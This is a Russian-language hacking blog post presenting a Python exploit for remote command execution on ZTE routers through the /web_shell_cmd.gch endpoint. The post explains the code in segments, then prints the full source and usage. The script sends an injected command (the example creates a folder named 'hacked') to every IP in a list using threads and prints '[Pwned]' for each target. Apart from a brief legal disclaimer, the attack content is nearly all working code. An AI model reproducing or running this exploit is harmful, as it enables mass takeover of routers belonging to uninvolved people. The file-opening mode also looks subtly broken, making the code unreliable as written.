ZTE SSL Remote Code Execution
Life-Hack [Жизнь-Взлом]/ХакингЯ хочу рассказать про уязвимость в ZTE роутерах, доступному по URI router_ip:443/web_shell_cmd.gch
. Уязвимость заключается в том, что мы посылаем POST-запрос с ошибкой и ее типом, а в ней — код для выполнения.
Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.
Поехали!
import threading import socket import ssl import time import sys info = open(str(sys.argv[1]),'a+') class skid(threading.Thread): def __init__(self, ip): threading.Thread.__init__(self) self.ip = str(ip).rstrip('\n')
В этом участке кода мы загружаем необходимые модули для работы эксплойта. Также я сделал, чтобы цели брались из списка, подготовленного нами. В конце я покажу пример запуска эксплойта. И ещё на этом участе кода есть многопоточность.
Далее в коде:
def run(self): try: f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_sock = ssl.wrap_socket(sock) ssl_sock.connect((self.ip, 443)) ssl_sock.sendall(f1.encode('utf-8')) ssl_sock.close() time.sleep(3) print("[Pwned]" + self.ip) except Exception as e: print(e) return
мы передаём переменной f1
— payload, отправляя POST-запрос на /web_shell_cmd.gch
с ошибкой, где в типе ошибке уже содержится payload. Для примера я просто сделал команду, которая создаёт папку hacked
. Далее идут SSL-сокеты, которые отправляют payload устройствам из списка. При успешной передаче команды роутеру ZTE выводится надпись Pwned + IP роутера. Слэшы и точки должны быть в hex формате, а пробелы — заменяться знаком +
.
Далее в коде идёт простая функция, которая просто запускает эксплуатацию роутеров:
for ip in info: try: time.sleep(0.01) skid(ip).start() except: pass
Пример запуска:
python
exploit.py
zte
Где zte — это список IP адресов роутеров ZTE.
Тип записи IP роутеров ZTE в список:
192.168.1.1 192.168.1.2 192.168.1.3
Исходный код эксплойта:
import threading import socket import ssl import time import sys info = open(str(sys.argv[1]),'a+') class skid(threading.Thread): def __init__(self, ip): threading.Thread.__init__(self) self.ip = str(ip).rstrip('\n') def run(self): try: f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_sock = ssl.wrap_socket(sock) ssl_sock.connect((self.ip, 443)) ssl_sock.sendall(f1.encode('utf-8')) ssl_sock.close() time.sleep(3) print("[Pwned]" + self.ip) except Exception as e: print(e) return for ip in info: try: time.sleep(0.01) skid(ip).start() except: pass
Эксплойт работает на python2.